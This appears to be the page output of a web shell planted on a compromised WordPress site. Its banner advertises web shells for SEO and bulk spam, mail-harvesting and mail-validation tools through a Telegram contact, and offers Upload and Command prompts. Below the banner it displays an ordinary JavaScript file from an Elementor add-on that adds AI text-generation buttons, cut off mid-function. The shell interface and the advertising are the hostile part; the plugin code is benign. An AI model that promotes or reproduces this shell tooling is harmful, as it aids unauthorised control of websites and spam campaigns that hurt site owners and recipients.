__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
(function($, elementor){
    'use strict';

    
    // Debug check for KingAddonsAiField
    
    // Check if settings exist
    if (!window.KingAddonsAiField || typeof window.KingAddonsAiField !== 'object') {
        window.KingAddonsAiField = window.KingAddonsAiField || {
            ajax_url: ajaxurl || '',
            generate_action: 'king_addons_ai_generate_text',
            generate_nonce: '',
            change_action: 'king_addons_ai_change_text',
            change_nonce: '',
            settings_url: ''
        };
    }
    
    // Track active observers to avoid duplicates
    var activeObservers = [];
    
    // Track token usage
    var tokenUsageData = {
        initialized: false,
        dailyUsed: 0,
        dailyLimit: 0,
        limitReached: false,
        apiKeyValid: false
    };
    
    // Function to check if the token limit has been reached
    function checkTokenLimit(callback) {
        if (tokenUsageData.initialized) {
            if (callback) {
                callback({
                    limitReached: tokenUsageData.limitReached,
                    apiKeyValid: Boolean(tokenUsageData.apiKeyValid),
                });
            }
            // Return true if either the token limit is reached or the API key is invalid
            return tokenUsageData.limitReached || !tokenUsageData.apiKeyValid;
        }
        
        // Fetch current token usage data
        $.post(KingAddonsAiField.ajax_url, {
            action: 'king_addons_ai_check_tokens',
            nonce: KingAddonsAiField.generate_nonce
        }, function(response) {
            if (response.success && response.data) {
                tokenUsageData.initialized = true;
                tokenUsageData.dailyUsed = parseInt(response.data.daily_used || 0);
                tokenUsageData.dailyLimit = parseInt(response.data.daily_limit || 0);
                tokenUsageData.limitReached = response.data.limit_reached === true;
                tokenUsageData.apiKeyValid = response.data.api_key_valid === true;


                if (callback) {
                    callback({
                        limitReached: tokenUsageData.limitReached,
                        apiKeyValid: tokenUsageData.apiKeyValid,
                    });
                }
            } else {
                // If there's an error, assume both token limit and API key are OK
                if (callback) {
                    callback({
                        limitReached: false,
                        apiKeyValid: true,
                    });
                }
            }
        }).fail(function() {
            // On failure, assume both token limit and API key are OK
            if (callback) {
                callback({
                    limitReached: false,
                    apiKeyValid: true,
                });
            }
        });
    }
    
    // Update token usage data after API calls
    function updateTokenUsage(usageData) {
        if (usageData && typeof usageData === 'object') {
            tokenUsageData.initialized = true;
            tokenUsageData.dailyUsed = parseInt(usageData.daily_used || 0);
            tokenUsageData.dailyLimit = parseInt(usageData.daily_limit || 0);
            tokenUsageData.limitReached = 
                tokenUsageData.dailyLimit > 0 && tokenUsageData.dailyUsed >= tokenUsageData.dailyLimit;
                
        }
    }
    
    // Add CSS for animations directly to the document
    function injectAnimationStyles() {
        if ($('#king-addons-ai-animations').length === 0) {
            const animationStyles = `
                <style id="king-addons-ai-animations">
                    @keyframes kingAddonsPulse {
                        0% { box-shadow: 0 0 0 0 rgba(91,3,255,0.4), inset 0 0 0 1px rgba(91,3,255,0.4); }
                        50% { box-shadow: 0 0 0 5px rgba(91,3,255,0.2), inset 0 0 0 1px rgba(91,3,255,0.6); }
                        100% { box-shadow: 0 0 0 0 rgba(91,3,255,0.1), inset 0 0 0 1px rgba(91,3,255,0.4); }
                    }
                    @keyframes kingAddonsShine {
                        0% { background-position: -100px; }
                        40%, 100% { background-position: 140px; }
                    }
                    @keyframes kingAddonsRotatePulse {
                        0% { transform: scale(1) rotate(0deg); filter: brightness(1); }
                        50% { transform: scale(1.15) rotate(180deg); filter: brightness(1.2) drop-shadow(0 0 3px rgba(91,3,255,0.7)); }
                        100% { transform: scale(1) rotate(360deg); filter: brightness(1); }
                    }
                    @keyframes kingAddonsGlow {
                        0% { filter: brightness(1) drop-shadow(0 0 1px rgba(91,3,255,0.5)); }
                        50% { filter: brightness(1.3) drop-shadow(0 0 3px rgba(91,3,255,0.8)); }
                        100% { filter: brightness(1) drop-shadow(0 0 1px rgba(91,3,255,0.5)); }
                    }
                    .king-addons-field-pulsing {
                        animation: kingAddonsPulse 1.5s infinite cubic-bezier(0.66, 0, 0, 1) !important;
                        border-color: #5B03FF !important;
                    }
                    .king-addons-field-shine {
                        background-image: linear-gradient(90deg, 
                            rgba(91,3,255,0) 0%, 
                            rgba(91,3,255,0.2) 25%, 
                            rgba(225,203,255,0.3) 50%, 
                            rgba(91,3,255,0.2) 75%, 
                            rgba(91,3,255,0) 100%);
                        background-position: -100px;
                        background-size: 140px 100%;
                        background-repeat: no-repeat;
                        animation: kingAddonsShine 2s infinite linear;
                    }
                    .king-addons-wysiwyg-active {
                        outline: 2px solid #5B03FF !important;
                        outline-offset: -2px;
                        transition: all 0.3s ease;
                    }
                    .king-addons-ai-buttons-wrapper {
                        display: inline-flex;
                        align-items: center;
                        gap: 12px;
                        position: relative;
                        z-index: 5;
                        transition: all 0.3s ease;
                        margin-top: 8px;
                        width: 100%;
                    }
                    .king-addons-ai-buttons-wrapper.is-processing .ai-generate-btn,
                    .king-addons-ai-buttons-wrapper.is-processing .ai-change-btn {
                        background: linear-gradient(135deg, #d6d6d6, #a0a0a0) !important;
                        opacity: 0.7;
                        cursor: default;
                        box-shadow: none !important;
                        pointer-events: none;
                    }
                    .king-addons-ai-buttons-wrapper.is-processing img {
                        filter: grayscale(100%);
                    }
                    .ai-prompt-container {
                        display: flex;
                        align-items: center;
                        gap: 6px;
                        margin: 8px 0;
                        position: relative;
                        z-index: 4;
                    }
                    .elementor-control-type-wysiwyg .ai-prompt-container {
                        margin-top: 6px;
                        margin-bottom: 10px;
                        width: 100%;
                    }
                    .ai-prompt-input {
                        flex: 1;
                        min-width: 0;
                        padding: 6px 10px;
                        border: 1px solid #ccc;
                        border-radius: 4px;
                        font-size: 12px;
                    }
                    .ai-prompt-input:focus {
                        border-color: #5B03FF;
                        box-shadow: 0 0 0 1px rgba(91,3,255,0.3);
                        outline: none;
                    }
                    .ai-prompt-examples {
                        font-size: 11px;
                        color: #6d7882;
                        margin-top: 4px;
                        line-height: 1.4;
                    }
                    .ai-prompt-examples strong {
                        color: #556068;
                        font-weight: 500;
                    }
                    .ai-prompt-cancel {
                        width: 24px;
                        height: 24px;
                        display: flex;
                        align-items: center;
                        justify-content: center;
                        border: 1px solid #ccc;
                        background: #fff;
                        border-radius: 4px;
                        cursor: pointer;
                        font-size: 14px;
                        color: #555;
                    }
                    .ai-prompt-submit {
                        position: relative;
                        display: flex;
                        align-items: center;
                        justify-content: center;
                        width: 32px; 
                        height: 32px;
                        padding: 4px;
                        background-color: #fff;
                        border: 1px solid #ccc;
                        border-radius: 4px;
                        cursor: pointer;
                        transition: all 0.3s ease;
                    }
                    .ai-prompt-submit.is-processing {
                        background: linear-gradient(135deg, #E1CBFF, #5B03FF) !important;
                        border-color: transparent !important;
                    }
                    .ai-prompt-submit.is-processing img {
                        animation: kingAddonsRotatePulse 2s infinite ease-in-out;
                    }
                    .ai-prompt-submit.is-processing:after {
                        content: '';
                        position: absolute;
                        top: -2px;
                        left: -2px;
                        right: -2px;
                        bottom: -2px;
                        border-radius: 6px;
                        background: transparent;
                        animation: kingAddonsPulse 1.5s infinite cubic-bezier(0.66, 0, 0, 1);
                        z-index: -1;
                    }
                </style>
            `;
            $('head').append(animationStyles);
        }
    }

    // Function to inject AI buttons
    function injectAiButtons($container) {
        
        // Inject animation styles first
        injectAnimationStyles();
        
        // Handle standard text/textarea controls
        $container.find('.elementor-control-type-text label.elementor-control-title, .elementor-control-type-textarea label.elementor-control-title').each(function(){
            var $label = $(this);
            var $ctrlWrap = $label.closest('.elementor-control');
            // Skip CSS ID, CSS Classes, and inline-label controls
            if (
                $ctrlWrap.hasClass('elementor-control-_element_id') ||
                $ctrlWrap.hasClass('elementor-control-_css_classes') ||
                $ctrlWrap.hasClass('elementor-label-inline')
            ) {
                return;
            }
            var $input = $ctrlWrap.find('input[type="text"], textarea');
            
            // Check if we already have buttons wrapper after this label
            if (!$input.length || $label.next('.king-addons-ai-buttons-wrapper').length) {
                return;
            }
            
            createAndAttachButtons($label, $input, $ctrlWrap, true);
        });

        // Handle WYSIWYG controls
        $container.find('.elementor-control-type-wysiwyg .elementor-control-input-wrapper').each(function(){
            var $inputWrapper = $(this);
            var $ctrlWrap = $inputWrapper.closest('.elementor-control');
            var $textarea = $ctrlWrap.find('textarea.elementor-wp-editor'); // Find the actual textarea
            
            // Check if we already have buttons wrapper before this input wrapper
            if (!$textarea.length || $ctrlWrap.find('.king-addons-ai-buttons-wrapper').length) {
                return;
            }
            
            // For WYSIWYG, add buttons to the control wrapper before the input wrapper
            createAndAttachButtons($ctrlWrap, $textarea, $ctrlWrap, false);
        });
    }

    // Function to create and attach AI buttons
    function createAndAttachButtons($attachTarget, $field, $ctrlWrap, attachAfterLabel) {
        var fieldName = $field.attr('name') || $field.attr('id') || ''; // Use ID for WYSIWYG if name is not present
        var isWysiwyg = $ctrlWrap.hasClass('elementor-control-type-wysiwyg');

        // Create wrapper div for buttons
        var $buttonsWrapper = $('<div class="king-addons-ai-buttons-wrapper"></div>');
        
        // For WYSIWYG we need different placement
        if (isWysiwyg) {
            // Find the input wrapper which contains the editor
            var $inputWrapper = $ctrlWrap.find('.elementor-control-input-wrapper');
            if (!$inputWrapper.length) return;
        }

        // Create "Generate" button
        var $btnLabel = $('<button type="button" class="ai-generate-btn ai-generate-btn--futuristic" title="AI Generate"></button>').css({
            verticalAlign: 'middle',
            padding: '4px 8px',
            fontSize: '12px',
            cursor: 'pointer',
            background: 'linear-gradient(135deg, #E1CBFF, #5B03FF)',
            border: 'none',
            borderRadius: '4px',
            color: '#ffffff',
            display: 'inline-flex',
            alignItems: 'center',
            // boxShadow: '0 0 6px rgba(225,203,255,0.7), 0 0 12px rgba(91,3,255,0.5)',
            boxShadow: 'none',
            transition: 'box-shadow 0.3s ease'
        });
        $btnLabel.append(
            $('<img>').attr('src', KingAddonsAiField.icon_url).css({ marginRight: '6px', width: '16px', height: '16px', verticalAlign: 'middle' }),
            $('<span>').addClass('ai-generate-btn__label').text('AI Generate')
        );
        $btnLabel.hover(
            function() { $(this).css('boxShadow', '0 0 8px rgba(225,203,255,0.9), 0 0 16px rgba(91,3,255,0.7)'); },
            function() { $(this).css('boxShadow', 'none'); }
        );

        // Create "Change" button
        var $changeBtn = $btnLabel.clone();
        $changeBtn.removeClass('ai-generate-btn').addClass('ai-change-btn');
        $changeBtn.find('span.ai-generate-btn__label').text('AI Change');
        $changeBtn.attr('title', 'AI Change');
        $changeBtn.find('img').attr('src', KingAddonsAiField.rewrite_icon_url || KingAddonsAiField.plugin_url + '/includes/admin/img/ai-rewrite.svg');
        
        // Add hover effect to the change button - cloning doesn't preserve hover handlers
        $changeBtn.hover(
            function() { $(this).css('boxShadow', '0 0 8px rgba(225,203,255,0.9), 0 0 16px rgba(91,3,255,0.7)'); },
            function() { $(this).css('boxShadow', 'none'); }
        );

        // Add buttons to wrapper
        $buttonsWrapper.append($btnLabel).append($changeBtn);

        // Add wrapper to DOM with proper placement
        if (isWysiwyg) {
            // For WYSIWYG, insert before the input wrapper
            $inputWrapper.before($buttonsWrapper);
        } else if (attachAfterLabel) {
            // For regular text/textarea, after the label
            $attachTarget.after($buttonsWrapper);
        } else {
            // Fallback (shouldn't normally happen)
            $attachTarget.before($buttonsWrapper);
        }
        

        // Attach "Generate" button click handler
        $btnLabel.on('click', function(e){
            e.preventDefault();
            var $originalBtn = $(this);
            var $buttonsWrapper = $originalBtn.closest('.king-addons-ai-buttons-wrapper');
            
            // Hide the buttons wrapper while loading
            $buttonsWrapper.addClass('is-processing');
            
            // Check API key validity and token limit first
            checkTokenLimit(function(status) {
                if (!status.apiKeyValid) {
                    // API key missing or invalid
                    var $errorMessage = $('<div class="king-addons-ai-error-message"></div>').css({
                        background: '#e7f3fe',
                        color: '#084d7a',
                        padding: '10px 15px',
                        borderRadius: '4px',
                        border: '1px solid #b6e0fe',
                        marginTop: '8px',
                        marginBottom: '8px',
                        fontSize: '13px',
                        fontWeight: '500',
                        lineHeight: '1.4',
                        display: 'flex',
                        alignItems: 'center',
                        justifyContent: 'space-between'
                    });
                    var settingsUrl = window.KingAddonsAiField && window.KingAddonsAiField.settings_url
                        ? window.KingAddonsAiField.settings_url
                        : '/wp-admin/admin.php?page=king-addons-ai-settings';
                    $errorMessage.html(
                        '<span>OpenAI API key is missing or invalid. Please configure your API key in AI Settings.</span>' +
                        '<a href="' + settingsUrl + '" style="color:#0073aa;text-decoration:underline;white-space:nowrap;margin-left:10px;" target="_blank">Settings</a>'
                    );
                    $errorMessage.insertAfter($buttonsWrapper).hide().fadeIn(200);
                    setTimeout(function() { $errorMessage.fadeOut(200, function() { $(this).remove(); }); }, 5000);
                    $buttonsWrapper.removeClass('is-processing');
                    return;
                }
                if (status.limitReached) {
                    // Show error if daily token limit reached
                    var $errorMessage = $('<div class="king-addons-ai-error-message"></div>').css({
                        background: '#ffecec',
                        color: '#d63638',
                        padding: '10px 15px',
                        borderRadius: '4px',
                        border: '1px solid #d63638',
                        marginTop: '8px',
                        marginBottom: '8px',
                        fontSize: '13px',
                        fontWeight: '500',
                        display: 'flex',
                        alignItems: 'center',
                        justifyContent: 'space-between'
                    });
                    var settingsUrl = window.KingAddonsAiField && window.KingAddonsAiField.settings_url
                        ? window.KingAddonsAiField.settings_url
                        : '/wp-admin/admin.php?page=king-addons-ai-settings';
                    $errorMessage.html(
                        '<span>Daily token limit reached. Please try again tomorrow or increase the limit in AI Settings.</span>' +
                        '<a href="' + settingsUrl + '" style="color:#0073aa;text-decoration:underline;white-space:nowrap;margin-left:10px;" target="_blank">Settings</a>'
                    );
                    $errorMessage.insertAfter($buttonsWrapper).hide().fadeIn(200);
                    setTimeout(function() { $errorMessage.fadeOut(200, function() { $(this).remove(); }); }, 5000);
                    $buttonsWrapper.removeClass('is-processing');
                    return;
                }
                // Continue with regular flow if preconditions met
                var $promptContainer = $('<div class="ai-prompt-container"></div>');
                var $promptInput = $('<input type="text" class="ai-prompt-input" placeholder="Enter your prompt..."/>');
                
                // Create examples text based on field type
                var $examplesText;
                if (isWysiwyg) {
                    $examplesText = $('<div class="ai-prompt-examples">Examples: <strong>"Write about product benefits"</strong>, <strong>"Create a FAQ section with 3 questions"</strong>, <strong>"Write a product description for beginners"</strong></div>');
                } else {
                    $examplesText = $('<div class="ai-prompt-examples">Examples: <strong>"Create a compelling headline"</strong>, <strong>"Write a call to action"</strong>, <strong>"Generate a short bio"</strong></div>');
                }
                
                // Create the submit button - use our CSS class for styling instead of inline styles
                var $submitBtn = $('<button type="button" class="ai-prompt-submit" title="Submit"></button>');
                // Only add the image, no inline styling
                $submitBtn.append($('<img>').attr('src', KingAddonsAiField.icon_url).css({ width: '16px', height: '16px' }));
                var $cancelBtn = $('<button type="button" class="ai-prompt-cancel" title="Cancel">✕</button>');
                
                // For WYSIWYG, place the prompt container after the buttons wrapper but before the editor
                if (isWysiwyg) {
                    // Find the input wrapper which contains the editor
                    var $inputWrapper = $ctrlWrap.find('.elementor-control-input-wrapper');
                    if (!$inputWrapper.length) return;
                    
                    // Append prompt container elements and place before the editor input wrapper
                    $promptContainer.append($promptInput, $submitBtn, $cancelBtn);
                    $inputWrapper.before($promptContainer);
                    // Add examples text after the prompt container
                    $promptContainer.after($examplesText);
                    $promptContainer.hide().fadeIn(200);
                    $examplesText.hide().fadeIn(200);
                } else {
                    // For regular fields, place after the buttons wrapper
                    $promptContainer.append($promptInput, $submitBtn, $cancelBtn)
                        .insertAfter($buttonsWrapper).hide().fadeIn(200);
                    // Add examples text after the prompt container
                    $promptContainer.after($examplesText);
                    $examplesText.hide().fadeIn(200);
                }
                
                $promptInput.focus();
                $promptInput.on('keydown', function(e) { if (e.key === 'Enter') { e.preventDefault(); $submitBtn.trigger('click'); } });
                
                $cancelBtn.on('click', function(){
                    $promptContainer.fadeOut(200, function(){ 
                        $(this).remove();
                        $examplesText.remove();
                        $buttonsWrapper.removeClass('is-processing');
                    });
                });
                
                $submitBtn.on('click', function(){
                    var userPrompt = $promptInput.val().trim();
                    if (!userPrompt) { $promptInput.css('borderColor', 'red'); return; }
                    $promptInput.prop('disabled', true);
                    // Instead of replacing with spinner, add processing class
                    $submitBtn.prop('disabled', true).addClass('is-processing');
                    
                    // Add animation to the target field
                    if (isWysiwyg) {
                        // For WYSIWYG we need to target both the iframe and the wrapper
                        var $editorWrap = $field.closest('.wp-editor-container');
                        var $iframe = $editorWrap.find('iframe');
                        
                        $editorWrap.addClass('king-addons-field-pulsing');
                        if ($iframe.length) {
                            $iframe.addClass('king-addons-wysiwyg-active');
                            // Also try to add a class to the iframe body
                            try {
                                $($iframe[0].contentDocument.body).addClass('king-addons-field-shine');
                            } catch(e) {
                                console.error('Could not access iframe body', e);
                            }
                        }
                    } else {
                        // For regular text inputs and textareas
                        $field.addClass('king-addons-field-pulsing');
                        $field.addClass('king-addons-field-shine');
                    }
                    
                    // Use consistent parameter names with the Change API
                    $.post( KingAddonsAiField.ajax_url, {
                            action: KingAddonsAiField.generate_action || 'king_addons_ai_generate_text',
                            nonce: KingAddonsAiField.generate_nonce || KingAddonsAiField.nonce,
                            field_name: fieldName,
                            prompt: userPrompt, // Changed from 'value' to 'prompt' for consistency
                            editor_type: isWysiwyg ? 'wysiwyg' : 'text' // Explicitly tell backend what type of field this is
                        }, function(response){
                            if (response.success && response.data.text) {
                                updateFieldValue($field, response.data.text, isWysiwyg, response);
                                
                                // Update token usage data if available
                                if (response.data.usage) {
                                    updateTokenUsage(response.data.usage);
                                }
                            } else if (response.data && response.data.message) {
                                alert(response.data.message);
                            }
                        }
                    ).always(function(){
                        // Remove animation classes
                        if (isWysiwyg) {
                            var $editorWrap = $field.closest('.wp-editor-container');
                            var $iframe = $editorWrap.find('iframe');
                            $editorWrap.removeClass('king-addons-field-pulsing');
                            if ($iframe.length) {
                                $iframe.removeClass('king-addons-wysiwyg-active');
                                try {
                                    $($iframe[0].contentDocument.body).removeClass('king-addons-field-shine');
                                } catch(e) {
                                    console.error('Could not access iframe body', e);
                                }
                            }
                        } else {
                            $field.removeClass('king-addons-field-pulsing king-addons-field-shine');
                        }
                        
                        // Remove button processing state
                        $submitBtn.removeClass('is-processing');
                        
                        // Complete and clean up the UI
                        $promptContainer.fadeOut(200, function(){ 
                            $(this).remove();
                            $examplesText.remove();
                            $buttonsWrapper.removeClass('is-processing');
                        });
                    });
                });
            });
        });

        // Attach "Change" button click handler
        $changeBtn.on('click', function(e){
            e.preventDefault();
            var $originalBtn = $(this);
            var $buttonsWrapper = $originalBtn.closest('.king-addons-ai-buttons-wrapper');
            
            // Add processing class instead of hiding
            $buttonsWrapper.addClass('is-processing');

            // Check API key validity and token limit first
            checkTokenLimit(function(status) {
                if (!status.apiKeyValid) {
                    // API key missing or invalid
                    var $errorMessage = $('<div class="king-addons-ai-error-message"></div>').css({
                        background: '#ffecec',
                        color: '#d63638',
                        padding: '10px 15px',
                        borderRadius: '4px',
                        border: '1px solid #d63638',
                        marginTop: '8px',
                        marginBottom: '8px',
                        fontSize: '13px',
                        fontWeight: '500',
                        display: 'flex',
                        alignItems: 'center',
                        justifyContent: 'space-between'
                    });
                    var settingsUrl = window.KingAddonsAiField && window.KingAddonsAiField.settings_url
                        ? window.KingAddonsAiField.settings_url
                        : '/wp-admin/admin.php?page=king-addons-ai-settings';
                    $errorMessage.html(
                        '<span>OpenAI API key is missing or invalid. Please configure your API key in AI Settings.</span>' +
                        '<a href="' + settingsUrl + '" style="color:#0073aa;text-decoration:underline;white-space:nowrap;margin-left:10px;" target="_blank">Settings</a>'
                    );
                    $errorMessage.insertAfter($buttonsWrapper).hide().fadeIn(200);
                    setTimeout(function() { $errorMessage.fadeOut(200, function() { $(this).remove(); }); }, 5000);
                    $buttonsWrapper.removeClass('is-processing');
                    return;
                }
                if (status.limitReached) {
                    // Show error if daily token limit reached
                    var $errorMessage = $('<div class="king-addons-ai-error-message"></div>').css({
                        background: '#ffecec',
                        color: '#d63638',
                        padding: '10px 15px',
                        borderRadius: '4px',
                        border: '1px solid #d63638',
                        marginTop: '8px',
                        marginBottom: '8px',
                        fontSize: '13px',
                        fontWeight: '500',
                        display: 'flex',
                        alignItems: 'center',
                        justifyContent: 'space-between'
                    });
                    var settingsUrl = window.KingAddonsAiField && window.KingAddonsAiField.settings_url
                        ? window.KingAddonsAiField.settings_url
                        : '/wp-admin/admin.php?page=king-addons-ai-settings';
                    $errorMessage.html(
                        '<span>Daily token limit reached. Please try again tomorrow or increase the limit in AI Settings.</span>' +
                        '<a href="' + settingsUrl + '" style="color:#0073aa;text-decoration:underline;white-space:nowrap;margin-left:10px;" target="_blank">Settings</a>'
                    );
                    $errorMessage.insertAfter($buttonsWrapper).hide().fadeIn(200);
                    setTimeout(function() { $errorMessage.fadeOut(200, function() { $(this).remove(); }); }, 5000);
                    $buttonsWrapper.removeClass('is-processing');
                    return;
                }
                // Continue with regular flow if preconditions met
                var originalText = getFieldValue($field, isWysiwyg);
                
                var $promptContainer = $('<div class="ai-prompt-container"></div>');
                var $promptInput = $('<input type="text" class="ai-prompt-input" placeholder="Enter change prompt..."/>');
                
                // Create examples text based on field type
                var $examplesText;
                if (isWysiwyg) {
                    $examplesText = $('<div class="ai-prompt-examples">Examples: <strong>"Add 2 paragraphs about benefits"</strong>, <strong>"Add 3 paragraphs about features"</strong>, <strong>"Make content more professional"</strong></div>');
                } else {
                    $examplesText = $('<div class="ai-prompt-examples">Examples: <strong>"Make it more persuasive"</strong>, <strong>"Make it shorter and direct"</strong>, <strong>"Change tone to friendly"</strong></div>');
                }

                var $submitBtn = $('<button type="button" class="ai-prompt-submit" title="Apply"></button>');
                $submitBtn.append($('<img>').attr('src', KingAddonsAiField.icon_url).css({ width: '16px', height: '16px' }));
                var $cancelBtn = $('<button type="button" class="ai-prompt-cancel" title="Cancel">✕</button>');

                // For WYSIWYG, place the prompt container after the buttons wrapper but before the editor
                if (isWysiwyg) {
                    // Find the input wrapper which contains the editor
                    var $inputWrapper = $ctrlWrap.find('.elementor-control-input-wrapper');
                    if (!$inputWrapper.length) return;
                    
                    // Append prompt container elements and place before the editor input wrapper
                    $promptContainer.append($promptInput, $submitBtn, $cancelBtn);
                    $inputWrapper.before($promptContainer);
                    // Add examples text after the prompt container
                    $promptContainer.after($examplesText);
                    $promptContainer.hide().fadeIn(200);
                    $examplesText.hide().fadeIn(200);
                } else {
                    // For regular fields, place after the buttons wrapper
                    $promptContainer.append($promptInput, $submitBtn, $cancelBtn)
                        .insertAfter($buttonsWrapper).hide().fadeIn(200);
                    // Add examples text after the prompt container
                    $promptContainer.after($examplesText);
                    $examplesText.hide().fadeIn(200);
                }

                $promptInput.focus().on('keydown', function(ev){ if(ev.key==='Enter'){ ev.preventDefault(); $submitBtn.click(); }});
                
                $cancelBtn.on('click', function(){ 
                    $promptContainer.fadeOut(200, function(){ 
                        $(this).remove();
                        $examplesText.remove();
                        $buttonsWrapper.removeClass('is-processing');
                    }); 
                });
                
                $submitBtn.on('click', function(){
                    var promptVal = $promptInput.val().trim();
                    if(!promptVal){ $promptInput.css('borderColor','red'); return; }
                    $promptInput.prop('disabled',true);
                    $submitBtn.prop('disabled',true).addClass('is-processing');
                    
                    // Add animation to the target field
                    if (isWysiwyg) {
                        // For WYSIWYG we need to target both the iframe and the wrapper
                        var $editorWrap = $field.closest('.wp-editor-container');
                        var $iframe = $editorWrap.find('iframe');
                        
                        $editorWrap.addClass('king-addons-field-pulsing');
                        if ($iframe.length) {
                            $iframe.addClass('king-addons-wysiwyg-active');
                            // Also try to add a class to the iframe body
                            try {
                                $($iframe[0].contentDocument.body).addClass('king-addons-field-shine');
                            } catch(e) {
                                console.error('Could not access iframe body', e);
                            }
                        }
                    } else {
                        // For regular text inputs and textareas
                        $field.addClass('king-addons-field-pulsing');
                        $field.addClass('king-addons-field-shine');
                    }
                    
                    $.post( KingAddonsAiField.ajax_url, {
                            action: KingAddonsAiField.change_action,
                            nonce:  KingAddonsAiField.change_nonce,
                            field_name: fieldName,
                            prompt: promptVal,
                            original: originalText,
                            editor_type: isWysiwyg ? 'wysiwyg' : 'text', // Explicitly tell backend what type of field this is
                            instruction_context: 'Modify the original text based on the user instructions. If asked to add content, keep the original and expand it. If asked to change style, maintain the same information but change the tone. Return the complete modified text.' // Add clear context for the AI
                        }, function(resp){
                            if(resp.success && resp.data.text){
                                updateFieldValue($field, resp.data.text, isWysiwyg, resp);
                                
                                // Update token usage data if available
                                if (resp.data.usage) {
                                    updateTokenUsage(resp.data.usage);
                                }
                            } else if(resp.data && resp.data.message){ 
                                alert(resp.data.message);
                            }
                        }
                    ).always(function(){ 
                        // Remove animation classes
                        if (isWysiwyg) {
                            var $editorWrap = $field.closest('.wp-editor-container');
                            var $iframe = $editorWrap.find('iframe');
                            $editorWrap.removeClass('king-addons-field-pulsing');
                            if ($iframe.length) {
                                $iframe.removeClass('king-addons-wysiwyg-active');
                                try {
                                    $($iframe[0].contentDocument.body).removeClass('king-addons-field-shine');
                                } catch(e) {
                                    console.error('Could not access iframe body', e);
                                }
                            }
                        } else {
                            $field.removeClass('king-addons-field-pulsing king-addons-field-shine');
                        }
                        
                        // Remove button processing state
                        $submitBtn.removeClass('is-processing');
                        
                        // Complete and clean up the UI
                        $promptContainer.fadeOut(200, function(){ 
                            $(this).remove();
                            $examplesText.remove();
                            $buttonsWrapper.removeClass('is-processing');
                        }); 
                    });
                });
            });
        });
    }

    // Function to update field value (handles WYSIWYG)
    function updateFieldValue($field, value, isWysiwyg, response) {
        // Check if we need to append instead of replace
        var appendMode = response && response.data && response.data.append_mode === true;
        var originalContent = appendMode ? (response.data.original || '') : '';
        
        
        if (isWysiwyg) {
            var editorId = $field.attr('id');

            // Log for debugging

            // Check if we have a valid editor ID
            if (!editorId) {
                console.error('King Addons: No editor ID found for WYSIWYG field');
                if (appendMode) {
                    // Append the new content to the original
                    $field.val(originalContent + '\n\n' + value);
                } else {
                    $field.val(value);
                }
                $field.trigger('input');
                return;
            }

            // Additional client-side cleanup for WYSIWYG
            if (value) {
                // Remove any code fence markers that might have been returned from API
                value = value.replace(/^```(?:html|HTML)?\s*/g, '');
                value = value.replace(/```\s*$/g, '');
                
                // Ensure proper paragraph formatting for WYSIWYG
                // Only add paragraph tags if they're not already present
                if (!value.includes('<p>') && !value.includes('<div>')) {
                    // First, normalize all types of line breaks
                    value = value.replace(/\r\n/g, '\n').replace(/\r/g, '\n');
                    
                    // Look for patterns that might indicate paragraphs
                    var paragraphDelimiter = /\n\s*\n/;
                    
                    // If no double line breaks, look for single line breaks that might be paragraph breaks
                    if (!paragraphDelimiter.test(value) && value.includes('\n')) {
                        // Split by newlines and wrap each non-empty line in paragraph tags
                        value = value.split('\n')
                            .filter(function(para) { return para.trim().length > 0; })
                            .map(function(para) { return '<p>' + para.trim() + '</p>'; })
                            .join('');
                    } else {
                        // Split by double newlines and wrap in paragraph tags
                        value = value.split(paragraphDelimiter).map(function(paragraph) {
                            // Handle single newlines within a paragraph as <br> tags
                            return '<p>' + paragraph.trim().replace(/\n/g, '<br>') + '</p>';
                        }).join('');
                    }
                    
                }
            }

            try {
                // Check if TinyMCE is available and the editor exists
                if (window.tinymce && tinymce.get(editorId)) {
                    var editor = tinymce.get(editorId);
                    
                    if (!editor.isHidden()) { // Visual mode
                        
                        if (appendMode) {
                            // Get current content and append the new content
                            // Make sure we use the original from the server, not the current content
                            // which may have been modified by the user after the request was sent
                            // Add a proper separator between existing and new content for HTML
                            var existingContent = originalContent || '';
                            var newContent = value || '';
                            
                            // Only add paragraph separator if one doesn't already exist at the end of original content
                            if (existingContent && !existingContent.trim().endsWith('</p>')) {
                                existingContent = existingContent + '<p></p>';
                            }
                            
                            editor.setContent(existingContent + newContent);
                        } else {
                            editor.setContent(value);
                        }
                        
                        editor.save(); // Sync with textarea
                    } else { // Text mode
                        
                        if (appendMode) {
                            // Append the new content to the original with proper HTML separation
                            var existingContent = originalContent || '';
                            var newContent = value || '';
                            
                            // For text mode, we should still preserve HTML structure
                            if (existingContent && !existingContent.trim().endsWith('</p>') && 
                                (existingContent.includes('<p>') || newContent.includes('<p>'))) {
                                existingContent = existingContent + '<p></p>';
                            } else if (existingContent) {
                                // Simple text mode, add double line break
                                existingContent = existingContent + '\n\n';
                            }
                            
                            $field.val(existingContent + newContent);
                        } else {
                            $field.val(value);
                        }
                    }
                } else {
                    // TinyMCE not available or editor not initialized
                    
                    if (appendMode) {
                        // Append the new content to the original
                        $field.val(originalContent + '\n\n' + value);
                    } else {
                        $field.val(value);
                    }
                }
            } catch (e) {
                console.error('King Addons: Error updating WYSIWYG content', e);
                // Fallback - set the textarea value directly
                if (appendMode) {
                    // Maintain HTML structure in fallback case
                    var existingContent = originalContent || '';
                    var newContent = value || '';
                    
                    // Add paragraph separator if needed
                    if (existingContent && !existingContent.trim().endsWith('</p>') && 
                        (existingContent.includes('<p>') || newContent.includes('<p>'))) {
                        existingContent = existingContent + '<p></p>';
                    } else if (existingContent) {
                        existingContent = existingContent + '\n\n';
                    }
                    
                    $field.val(existingContent + newContent);
                } else {
                    $field.val(value);
                }
            }
        } else {
            // Standard text field
            if (appendMode) {
                // Append the new content to the original for text fields
                $field.val(originalContent + '\n\n' + value);
            } else {
                $field.val(value);
            }
